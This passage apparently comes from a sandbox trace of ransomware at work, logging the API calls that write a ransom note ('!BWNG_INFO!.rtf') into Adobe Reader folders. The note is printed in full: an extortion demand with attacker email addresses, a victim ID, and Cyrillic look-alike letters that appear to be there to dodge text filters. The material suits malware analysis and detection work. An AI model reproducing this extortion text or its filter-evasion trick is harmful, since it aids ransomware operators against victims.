p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.575] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.576] CloseHandle (hObject=0x1cc) returned 1 [0040.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\!bwng_info!.rtf")) returned 0xffffffff [0040.576] GetLastError () returned 0x2 [0040.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur 